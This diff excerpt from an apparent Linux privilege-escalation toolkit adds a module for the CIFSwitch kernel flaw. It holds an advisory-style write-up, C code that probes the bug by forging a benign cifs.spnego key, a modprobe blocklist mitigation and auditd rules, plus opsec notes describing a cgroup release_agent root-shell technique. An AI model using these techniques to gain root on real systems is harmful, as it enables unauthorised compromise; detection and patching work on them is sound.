||||||
{5, 15, 23},
|
{5, 15, 23},
|
||||||
{5, 16, 9},
|
{5, 16, 7}, /* Debian tracker: earlier than 5.16.9 in stable */
|
||||||
{5, 17, 0}, /* mainline */
|
{5, 17, 0}, /* mainline */
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -404,6 +404,7 @@ const struct skeletonkey_module cgroup_release_agent_module = {
|
|||||||
.detect_yara = cgroup_release_agent_yara,
|
.detect_yara = cgroup_release_agent_yara,
|
||||||
.detect_falco = cgroup_release_agent_falco,
|
.detect_falco = cgroup_release_agent_falco,
|
||||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS), mount cgroup v1 at /tmp/skeletonkey-cgroup-mnt, write payload path to release_agent file at cgroup root, echo 1 to notify_on_release in subdir, add PID to cgroup.procs and exit. Payload at /tmp/skeletonkey-cgroup-payload.sh runs as init-namespace root when cgroup empties, dropping setuid /tmp/skeletonkey-cgroup-sh. Audit-visible via unshare + mount(cgroup) + open/write of release_agent. Cleanup callback removes /tmp/skeletonkey-cgroup-* and umounts.",
|
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS), mount cgroup v1 at /tmp/skeletonkey-cgroup-mnt, write payload path to release_agent file at cgroup root, echo 1 to notify_on_release in subdir, add PID to cgroup.procs and exit. Payload at /tmp/skeletonkey-cgroup-payload.sh runs as init-namespace root when cgroup empties, dropping setuid /tmp/skeletonkey-cgroup-sh. Audit-visible via unshare + mount(cgroup) + open/write of release_agent. Cleanup callback removes /tmp/skeletonkey-cgroup-* and umounts.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_cgroup_release_agent(void)
|
void skeletonkey_register_cgroup_release_agent(void)
|
||||||
|
|||||||
@@ -0,0 +1,60 @@
|
|||||||
|
# cifswitch — CVE-2026-46243 ("CIFSwitch")
|
||||||
|
|
||||||
|
The kernel's `cifs.spnego` request-key type trusts userspace-forged
|
||||||
|
authority fields, letting the root `cifs.upcall` helper be coerced into
|
||||||
|
loading an attacker NSS module as root.
|
||||||
|
|
||||||
|
## The bug
|
||||||
|
|
||||||
|
`fs/smb/client/cifs_spnego.c` registers the `cifs.spnego` key type so the
|
||||||
|
kernel CIFS client can ask the root-privileged `cifs.upcall` helper to
|
||||||
|
perform a SPNEGO/Kerberos exchange. The key *description* carries
|
||||||
|
authority-bearing fields — `pid`, `uid`, `creduid`, `upcall_target` —
|
||||||
|
that `cifs.upcall` reads as trusted, kernel-originating inputs.
|
||||||
|
|
||||||
|
The flaw: the kernel never verified the request actually came from the
|
||||||
|
in-kernel CIFS client. Userspace can create keys of this type directly
|
||||||
|
through `add_key(2)` / `request_key(2)`, supplying all those fields. By
|
||||||
|
forging a description and manipulating user + mount namespaces, an
|
||||||
|
unprivileged user makes `cifs.upcall` trust attacker-controlled state and
|
||||||
|
load a malicious NSS shared library as root → root code execution.
|
||||||
|
|
||||||
|
## Affected range
|
||||||
|
|
||||||
|
| | |
|
||||||
|
|---|---|
|
||||||
|
| Flaw age | ~19 years (predates key-type origin checks) |
|
||||||
|
| Fixed upstream | commit `3da1fdf4efbc`, merged 7.1-rc5 |
|
||||||
|
| Debian backports | 5.10.257 · 6.1.174 · 6.12.90 · 7.0.10 |
|
||||||
|
| NVD class | CWE-20 (Improper Input Validation) |
|
||||||
|
| CISA KEV | no (as of disclosure) |
|
||||||
|
|
||||||
|
Branches Debian does not ship (5.15 / 6.6 / 6.8 / 6.11 …) are reported on
|
||||||
|
the version-only verdict; confirm empirically.
|
||||||
|
|
||||||
|
## Trigger / detection
|
||||||
|
|
||||||
|
`detect()` returns `OK` for patched kernels, `PRECOND_FAIL` for a
|
||||||
|
vulnerable kernel where `cifs.upcall` / the `cifs.spnego` request-key rule
|
||||||
|
isn't installed (cifs-utils absent → unreachable), and `VULNERABLE` when
|
||||||
|
both the version and the userspace path line up. The precondition probe
|
||||||
|
can be overridden with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (force present)
|
||||||
|
or `0` (force absent).
|
||||||
|
|
||||||
|
`exploit()` fires the non-destructive primitive: `add_key(2)` of a
|
||||||
|
forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked
|
||||||
|
immediately. A clean accept is the witness that userspace can forge the
|
||||||
|
authority-bearing key type. The full root-pop (namespace switch +
|
||||||
|
malicious NSS load) is **not** bundled until VM-verified — honest
|
||||||
|
`EXPLOIT_FAIL` without a euid-0 witness.
|
||||||
|
|
||||||
|
## Fix / mitigation
|
||||||
|
|
||||||
|
Upgrade the kernel. As a runtime stopgap, blocklist the `cifs` module —
|
||||||
|
`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
|
||||||
|
(needs root) and `--cleanup` removes it. Already-loaded `cifs` persists
|
||||||
|
until unmount + `rmmod cifs` or reboot.
|
||||||
|
|
||||||
|
## Credit
|
||||||
|
|
||||||
|
Asim Manizada (2026-05-28). See `NOTICE.md`.
|
||||||
@@ -0,0 +1,92 @@
|
|||||||
|
# NOTICE — cifswitch (CVE-2026-46243, "CIFSwitch")
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2026-46243 "CIFSwitch"** — the Linux kernel's `cifs.spnego`
|
||||||
|
request-key type (`fs/smb/client/cifs_spnego.c`) accepts key descriptions
|
||||||
|
created by **userspace** (via `add_key(2)` / `request_key(2)`) without
|
||||||
|
verifying that the request originated from the in-kernel CIFS client. The
|
||||||
|
key description carries authority-bearing fields — `pid`, `uid`,
|
||||||
|
`creduid`, `upcall_target` — that the root-privileged `cifs.upcall`
|
||||||
|
helper treats as trusted, kernel-originating inputs. An unprivileged
|
||||||
|
local user forges such a description and, combined with user + mount
|
||||||
|
namespace manipulation, coerces `cifs.upcall` into loading an
|
||||||
|
attacker-controlled NSS shared library as root → local privilege
|
||||||
|
escalation to root.
|
||||||
|
|
||||||
|
It is a **~19-year-old** logic flaw — the cifs spnego upcall predates the
|
||||||
|
key-type origin checks added to the keyrings subsystem later. NVD class:
|
||||||
|
**CWE-20** (Improper Input Validation). Not in CISA KEV (as of disclosure).
|
||||||
|
|
||||||
|
**Preconditions:** the `cifs` kernel module available, `cifs-utils`
|
||||||
|
installed (so `cifs.upcall` is present), and the `cifs.spnego`
|
||||||
|
request-key rule active. Default-vulnerable distributions reported
|
||||||
|
include Linux Mint, CentOS Stream 9, Rocky Linux 9, AlmaLinux 9, Kali
|
||||||
|
Linux, SLES 15 SP7, and Red Hat Enterprise Linux 6–10.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered, named, and disclosed by **Asim Manizada** on **2026-05-28**,
|
||||||
|
with a working proof-of-concept published the same day.
|
||||||
|
|
||||||
|
- Red Hat advisory (RHSB-2026-005):
|
||||||
|
<https://access.redhat.com/security/vulnerabilities/RHSB-2026-005>
|
||||||
|
- BleepingComputer write-up:
|
||||||
|
<https://www.bleepingcomputer.com/news/security/new-cifswitch-linux-flaw-gives-root-on-multiple-distributions/>
|
||||||
|
- Upstream fix: commit `3da1fdf4efbc490041eb4f836bf596201203f8f2`
|
||||||
|
("smb: client: reject userspace cifs.spnego descriptions"), merged
|
||||||
|
7.1-rc5.
|
||||||
|
- Debian-tracked stable backports: 5.10.257 (bullseye) / 6.1.174
|
||||||
|
(bookworm) / 6.12.90 (trixie) / 7.0.10 (forky, sid).
|
||||||
|
|
||||||
|
All research credit for finding and analysing this bug belongs to Asim
|
||||||
|
Manizada. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
|
||||||
|
`detect()` gates on the kernel version (the Debian backport thresholds
|
||||||
|
above) **and** the presence of the vulnerable userspace path
|
||||||
|
(`cifs.upcall` / the `cifs.spnego` request-key rule) — a vulnerable
|
||||||
|
kernel without `cifs-utils` is reported `PRECOND_FAIL`, not `VULNERABLE`.
|
||||||
|
Override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (or `0`).
|
||||||
|
|
||||||
|
`exploit()` fires only the reachable, **non-destructive** part of the
|
||||||
|
primitive: it attempts to register a forged-but-benign `cifs.spnego` key
|
||||||
|
as the unprivileged user via `add_key(2)` — which instantiates the key
|
||||||
|
directly and does **not** invoke `cifs.upcall`, so it loads nothing and
|
||||||
|
spawns no privileged helper — and revokes the key immediately. A clean
|
||||||
|
accept is the empirical witness that the missing-origin-validation flaw
|
||||||
|
is present. It then **stops**: the namespace-switch + malicious-NSS-load
|
||||||
|
chain that actually lands a root shell is target/config-specific and is
|
||||||
|
**not** bundled until it can be verified end-to-end against a real
|
||||||
|
vulnerable VM, in keeping with the project's no-fabrication rule.
|
||||||
|
`exploit()` returns `EXPLOIT_FAIL` unless it can witness euid 0.
|
||||||
|
|
||||||
|
`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
|
||||||
|
(blocklists the `cifs` module — the vendor-recommended runtime
|
||||||
|
mitigation); `--cleanup` removes it. Architecture-agnostic — keyring and
|
||||||
|
namespace logic, no shellcode.
|
||||||
|
|
||||||
|
## Verification status (partial)
|
||||||
|
|
||||||
|
Verified **2026-06-08** on **Ubuntu 24.04.4 LTS, kernel 6.8.0-117-generic**
|
||||||
|
(QEMU/HVF, x86_64):
|
||||||
|
|
||||||
|
- `modprobe cifs` registers the `cifs.spnego` key type (dmesg:
|
||||||
|
`Key type cifs.spnego registered`) — `cifs-utils` is **not** required to
|
||||||
|
reach the primitive.
|
||||||
|
- An **independent** `python3` `ctypes` probe calling
|
||||||
|
`add_key("cifs.spnego", <forged uid/creduid/upcall_target>)` was
|
||||||
|
**ACCEPTED** (a plain `user`-key control was also accepted), and the
|
||||||
|
module's own `exploit()` independently reported **primitive CONFIRMED**
|
||||||
|
then the honest `EXPLOIT_FAIL`.
|
||||||
|
- `detect()` returned `PRECOND_FAIL` with `cifs-utils` absent and
|
||||||
|
`VULNERABLE` under `SKELETONKEY_CIFS_ASSUME_PRESENT=1`.
|
||||||
|
|
||||||
|
**Still pending** (so this stays 🟡 and is *not* counted as a verified
|
||||||
|
end-to-end CVE): (a) confirming `add_key` is **rejected** on a *patched*
|
||||||
|
kernel (≥ 6.12.90 / 7.0.10) — i.e. that the probe distinguishes
|
||||||
|
fixed-from-vulnerable rather than the key type always permitting userspace
|
||||||
|
creation; and (b) the full namespace + malicious-NSS root-pop, which
|
||||||
|
remains unbundled.
|
||||||
@@ -0,0 +1,419 @@
|
|||||||
|
/*
|
||||||
|
* cifswitch_cve_2026_46243 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* CVE-2026-46243 "CIFSwitch" — the kernel's `cifs.spnego` request-key
|
||||||
|
* type accepts key descriptions created by *userspace* (via add_key(2) /
|
||||||
|
* request_key(2)) without verifying the request originated from the
|
||||||
|
* in-kernel CIFS client. Those descriptions carry authority-bearing
|
||||||
|
* fields (`pid`, `uid`, `creduid`, `upcall_target`) that the
|
||||||
|
* root-privileged `cifs.upcall` helper trusts as kernel-originating.
|
||||||
|
* An unprivileged user forges a description and — combined with user +
|
||||||
|
* mount namespace manipulation — coerces `cifs.upcall` into loading an
|
||||||
|
* attacker-controlled NSS shared library as root → local root.
|
||||||
|
*
|
||||||
|
* Disclosed by Asim Manizada, 2026-05-28 (public PoC same day). A
|
||||||
|
* ~19-year-old bug: the cifs spnego upcall predates the key-type origin
|
||||||
|
* checks added later. Fixed upstream by commit 3da1fdf4efbc (merged
|
||||||
|
* 7.1-rc5): "smb: client: reject userspace cifs.spnego descriptions".
|
||||||
|
* NVD: CWE-20 (Improper Input Validation). Not in CISA KEV.
|
||||||
|
*
|
||||||
|
* STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
|
||||||
|
* Structural logic flaw — no offsets, no race, no shellcode. detect()
|
||||||
|
* gates on (a) the kernel version (Debian-tracked backports below) and
|
||||||
|
* (b) the presence of the vulnerable userspace path: the `cifs.upcall`
|
||||||
|
* helper / `cifs.spnego` request-key rule. A vulnerable kernel without
|
||||||
|
* cifs-utils is not reachable via this technique, so that case is
|
||||||
|
* PRECOND_FAIL, not VULNERABLE. exploit() fires the reachable,
|
||||||
|
* non-destructive part of the primitive — it attempts to register a
|
||||||
|
* forged-but-benign `cifs.spnego` key as the unprivileged user (via
|
||||||
|
* add_key(2), which does NOT invoke cifs.upcall) and observes whether
|
||||||
|
* the kernel accepts a userspace-originated description — then STOPS.
|
||||||
|
* The namespace-switch + malicious-NSS-load that turns that into a
|
||||||
|
* root shell is target/config-specific and is not bundled until it can
|
||||||
|
* be VM-verified end-to-end. Honest EXPLOIT_FAIL without a euid-0
|
||||||
|
* witness; never fabricates root.
|
||||||
|
*
|
||||||
|
* Affected range (Debian-tracked stable backports of the fix):
|
||||||
|
* 5.10.x : K >= 5.10.257 (bullseye)
|
||||||
|
* 6.1.x : K >= 6.1.174 (bookworm)
|
||||||
|
* 6.12.x : K >= 6.12.90 (trixie)
|
||||||
|
* 7.0.x : K >= 7.0.10 (forky / sid); mainline fixed 7.1-rc5
|
||||||
|
* Branches Debian doesn't track (5.15 / 6.6 / 6.8 / 6.11 ...) fall
|
||||||
|
* through to the version-only verdict — confirm empirically.
|
||||||
|
*
|
||||||
|
* Preconditions: cifs kernel module available + cifs-utils installed
|
||||||
|
* (`cifs.upcall` present) + the `cifs.spnego` request-key rule active.
|
||||||
|
* Override the precondition probe with SKELETONKEY_CIFS_ASSUME_PRESENT
|
||||||
|
* = 1 (force present) / 0 (force absent) when you know the fleet's CIFS
|
||||||
|
* posture better than a local file probe can (also drives unit tests).
|
||||||
|
*
|
||||||
|
* arch_support: any. Keyring + namespace logic; no shellcode.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
|
||||||
|
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||||
|
* redefine here (warning: redefined). */
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/syscall.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
|
||||||
|
/* keyring syscalls live in libkeyutils, not glibc — call them directly.
|
||||||
|
* The asm-generic numbers below match x86_64 / arm64 / most arches; fall
|
||||||
|
* back only when the toolchain headers don't already define them. */
|
||||||
|
#ifndef SYS_add_key
|
||||||
|
#define SYS_add_key 248
|
||||||
|
#endif
|
||||||
|
#ifndef SYS_keyctl
|
||||||
|
#define SYS_keyctl 250
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* keyctl operations + special keyring ids (uapi/linux/keyctl.h). */
|
||||||
|
#ifndef KEYCTL_REVOKE
|
||||||
|
#define KEYCTL_REVOKE 3
|
||||||
|
#endif
|
||||||
|
#ifndef KEY_SPEC_PROCESS_KEYRING
|
||||||
|
#define KEY_SPEC_PROCESS_KEYRING (-2)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
typedef int sk_key_serial_t;
|
||||||
|
|
||||||
|
static sk_key_serial_t sk_add_key(const char *type, const char *desc,
|
||||||
|
const void *payload, size_t plen,
|
||||||
|
sk_key_serial_t keyring)
|
||||||
|
{
|
||||||
|
return (sk_key_serial_t)syscall(SYS_add_key, type, desc,
|
||||||
|
payload, plen, keyring);
|
||||||
|
}
|
||||||
|
static long sk_keyctl_revoke(sk_key_serial_t key)
|
||||||
|
{
|
||||||
|
return syscall(SYS_keyctl, (long)KEYCTL_REVOKE, (long)key, 0L, 0L, 0L);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Debian-tracked stable backports of the 2026 fix (commit 3da1fdf4efbc,
|
||||||
|
* mainline 7.1-rc5). These are the authoritative thresholds
|
||||||
|
* (security-tracker.debian.org). Branches Debian doesn't ship fall
|
||||||
|
* through to the version-only verdict in detect(). */
|
||||||
|
static const struct kernel_patched_from cifswitch_patched_branches[] = {
|
||||||
|
{5, 10, 257}, /* 5.10-LTS backport (Debian bullseye) */
|
||||||
|
{6, 1, 174}, /* 6.1-LTS backport (Debian bookworm) */
|
||||||
|
{6, 12, 90}, /* 6.12-LTS backport (Debian trixie) */
|
||||||
|
{7, 0, 10}, /* 7.0 stable (Debian forky / sid) */
|
||||||
|
};
|
||||||
|
|
||||||
|
static const struct kernel_range cifswitch_range = {
|
||||||
|
.patched_from = cifswitch_patched_branches,
|
||||||
|
.n_patched_from = sizeof(cifswitch_patched_branches) /
|
||||||
|
sizeof(cifswitch_patched_branches[0]),
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Is the vulnerable userspace path present? The load-bearing signal is
|
||||||
|
* the cifs.upcall helper (the privileged component the bug abuses); the
|
||||||
|
* cifs.spnego request-key rule and a loaded/loadable cifs module
|
||||||
|
* corroborate. SKELETONKEY_CIFS_ASSUME_PRESENT overrides the probe:
|
||||||
|
* "1" = present, "0" = absent (operators who know their fleet's CIFS
|
||||||
|
* posture, and the unit tests, use this). */
|
||||||
|
static bool cifs_userspace_present(void)
|
||||||
|
{
|
||||||
|
const char *force = getenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
|
||||||
|
if (force && (force[0] == '1' || force[0] == '0'))
|
||||||
|
return force[0] == '1';
|
||||||
|
|
||||||
|
struct stat st;
|
||||||
|
static const char *upcall_paths[] = {
|
||||||
|
"/usr/sbin/cifs.upcall", "/sbin/cifs.upcall",
|
||||||
|
"/usr/bin/cifs.upcall", "/usr/local/sbin/cifs.upcall", NULL,
|
||||||
|
};
|
||||||
|
for (size_t i = 0; upcall_paths[i]; i++)
|
||||||
|
if (stat(upcall_paths[i], &st) == 0)
|
||||||
|
return true;
|
||||||
|
|
||||||
|
/* request-key rule for cifs.spnego (cifs-utils ships this). */
|
||||||
|
static const char *reqkey_paths[] = {
|
||||||
|
"/etc/request-key.d/cifs.spnego.conf",
|
||||||
|
"/usr/share/request-key.d/cifs.spnego.conf", NULL,
|
||||||
|
};
|
||||||
|
for (size_t i = 0; reqkey_paths[i]; i++)
|
||||||
|
if (stat(reqkey_paths[i], &st) == 0)
|
||||||
|
return true;
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] cifswitch: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* A patched kernel is not vulnerable regardless of the userspace
|
||||||
|
* path — decide that first so the verdict is deterministic. */
|
||||||
|
if (kernel_range_is_patched(&cifswitch_range, v)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] cifswitch: kernel %s is patched "
|
||||||
|
"(version-only check)\n", v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Vulnerable kernel. Exploitation needs the cifs.upcall userspace
|
||||||
|
* path; without it the technique is unreachable here. */
|
||||||
|
if (!cifs_userspace_present()) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[i] cifswitch: kernel %s is in the vulnerable "
|
||||||
|
"range but cifs.upcall / cifs.spnego request-key "
|
||||||
|
"rule not found — cifs-utils not installed, bug "
|
||||||
|
"not reachable here\n", v->release);
|
||||||
|
fprintf(stderr, "[i] cifswitch: if you know this fleet uses CIFS, "
|
||||||
|
"re-run with SKELETONKEY_CIFS_ASSUME_PRESENT=1\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] cifswitch: kernel %s VULNERABLE and cifs.upcall "
|
||||||
|
"present — CVE-2026-46243 reachable\n", v->release);
|
||||||
|
fprintf(stderr, "[i] cifswitch: userspace can forge cifs.spnego key "
|
||||||
|
"descriptions (pid/uid/creduid/upcall_target) the root "
|
||||||
|
"cifs.upcall helper trusts\n");
|
||||||
|
fprintf(stderr, "[i] cifswitch: branches Debian doesn't track "
|
||||||
|
"(5.15/6.6/6.8/6.11) are version-only here; confirm with "
|
||||||
|
"`--exploit cifswitch --i-know`\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->authorized) {
|
||||||
|
fprintf(stderr, "[-] cifswitch: --i-know required for --exploit\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
skeletonkey_result_t pre = cifswitch_detect(ctx);
|
||||||
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
|
fprintf(stderr, "[-] cifswitch: detect() says not vulnerable/reachable; "
|
||||||
|
"refusing\n");
|
||||||
|
return pre;
|
||||||
|
}
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
|
fprintf(stderr, "[i] cifswitch: already running as root — nothing to do\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Reachable, non-destructive primitive witness: can we, as an
|
||||||
|
* unprivileged user, register a cifs.spnego key carrying the
|
||||||
|
* authority-bearing fields? add_key(2) instantiates the key directly
|
||||||
|
* — it does NOT invoke cifs.upcall (that is request_key's upcall
|
||||||
|
* path), so this loads nothing and triggers no privileged helper. On
|
||||||
|
* a VULNERABLE kernel the type accepts the userspace-originated
|
||||||
|
* description; the fix (3da1fdf4efbc) rejects it. We revoke any key
|
||||||
|
* we create immediately. A clean accept is the empirical signal that
|
||||||
|
* the missing-origin-validation flaw is present; any error is treated
|
||||||
|
* as inconclusive (could be patched, or add_key unsupported for the
|
||||||
|
* type) and reported honestly — we never infer root from it. */
|
||||||
|
const char *desc =
|
||||||
|
"ver=0x2;host=skeletonkey-probe;ip4=127.0.0.1;sec=krb5;"
|
||||||
|
"uid=0x0;creduid=0x0;user=skprobe;pid=0x0";
|
||||||
|
errno = 0;
|
||||||
|
sk_key_serial_t k = sk_add_key("cifs.spnego", desc, "\x00", 1,
|
||||||
|
KEY_SPEC_PROCESS_KEYRING);
|
||||||
|
if (k > 0) {
|
||||||
|
sk_keyctl_revoke(k); /* don't leave the probe key lying around */
|
||||||
|
fprintf(stderr,
|
||||||
|
"[!] cifswitch: primitive CONFIRMED — kernel accepted a "
|
||||||
|
"userspace-forged cifs.spnego key (serial %d) carrying "
|
||||||
|
"uid/creduid/upcall_target. CVE-2026-46243 reachable.\n", k);
|
||||||
|
fprintf(stderr,
|
||||||
|
"[i] cifswitch: the full root-pop (user+mount namespace switch "
|
||||||
|
"coercing cifs.upcall to load an attacker NSS module as root) is "
|
||||||
|
"target/config-specific and NOT bundled until VM-verified. Not "
|
||||||
|
"fabricating a shell. See module NOTICE.md (Asim Manizada PoC).\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (errno == ENOSYS) {
|
||||||
|
fprintf(stderr, "[-] cifswitch: add_key(2) ENOSYS — keyrings "
|
||||||
|
"unavailable in this kernel build\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
fprintf(stderr,
|
||||||
|
"[-] cifswitch: kernel did not accept a userspace-forged cifs.spnego "
|
||||||
|
"key (add_key: %s). Inconclusive — the kernel may carry the fix "
|
||||||
|
"(3da1fdf4efbc rejects userspace descriptions), or the key type may "
|
||||||
|
"not permit direct add_key here. detect() reported the version+helper "
|
||||||
|
"as vulnerable; verify against a known-vulnerable VM.\n",
|
||||||
|
strerror(errno));
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Mitigation: the vendor-recommended runtime fix is to blocklist the
|
||||||
|
* cifs module so the vulnerable upcall path cannot be reached. We write
|
||||||
|
* a modprobe.d blocklist (needs root; persists across reboot and blocks
|
||||||
|
* future autoload). We do not force-unload a possibly-mounted cifs. The
|
||||||
|
* real fix is the kernel patch. --cleanup removes the blocklist file. */
|
||||||
|
#define CIFSWITCH_BLOCKLIST "/etc/modprobe.d/skeletonkey-disable-cifs.conf"
|
||||||
|
|
||||||
|
static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
int fd = open(CIFSWITCH_BLOCKLIST, O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
||||||
|
if (fd < 0) {
|
||||||
|
fprintf(stderr, "[-] cifswitch: cannot write %s: %s "
|
||||||
|
"(need root: run as root, or "
|
||||||
|
"`echo 'blacklist cifs' | sudo tee %s`)\n",
|
||||||
|
CIFSWITCH_BLOCKLIST, strerror(errno), CIFSWITCH_BLOCKLIST);
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static const char body[] =
|
||||||
|
"# Added by SKELETONKEY --mitigate cifswitch (CVE-2026-46243).\n"
|
||||||
|
"# Blocklists the cifs module so the vulnerable cifs.spnego upcall\n"
|
||||||
|
"# path cannot be reached. Remove via `--cleanup cifswitch`.\n"
|
||||||
|
"blacklist cifs\n"
|
||||||
|
"install cifs /bin/false\n";
|
||||||
|
ssize_t w = write(fd, body, sizeof body - 1);
|
||||||
|
close(fd);
|
||||||
|
if (w != (ssize_t)(sizeof body - 1)) {
|
||||||
|
fprintf(stderr, "[-] cifswitch: short write to %s\n", CIFSWITCH_BLOCKLIST);
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
fprintf(stderr, "[+] cifswitch: wrote %s (blocklist cifs). Already-loaded "
|
||||||
|
"cifs stays until unmounted+`rmmod cifs` or reboot. This is "
|
||||||
|
"a stopgap; patch the kernel. Revert: `--cleanup cifswitch`.\n",
|
||||||
|
CIFSWITCH_BLOCKLIST);
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (unlink(CIFSWITCH_BLOCKLIST) == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] cifswitch: removed %s\n", CIFSWITCH_BLOCKLIST);
|
||||||
|
} else if (errno != ENOENT) {
|
||||||
|
fprintf(stderr, "[-] cifswitch: could not remove %s: %s\n",
|
||||||
|
CIFSWITCH_BLOCKLIST, strerror(errno));
|
||||||
|
}
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: keyrings, cifs.upcall and modprobe are all
|
||||||
|
* Linux-only. Stub so the module still registers and `make` completes on
|
||||||
|
* macOS/BSD dev boxes. */
|
||||||
|
static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] cifswitch: Linux-only module "
|
||||||
|
"(cifs.spnego keyring trust) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] cifswitch: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
|
/* Embedded detection rules — keep the binary self-contained. The
|
||||||
|
* behavioural signal is a non-root process creating a `cifs.spnego` key
|
||||||
|
* (add_key/request_key) and/or an unexpected cifs.upcall execution
|
||||||
|
* paired with user-namespace setup. */
|
||||||
|
static const char cifswitch_auditd[] =
|
||||||
|
"# CVE-2026-46243 (CIFSwitch) — auditd detection rules\n"
|
||||||
|
"# A non-root add_key/request_key for cifs.spnego is the core abuse,\n"
|
||||||
|
"# usually paired with unshare(CLONE_NEWUSER|CLONE_NEWNS) and a\n"
|
||||||
|
"# cifs.upcall execution that loads an attacker NSS module.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S add_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||||
|
"-a always,exit -F arch=b64 -S request_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
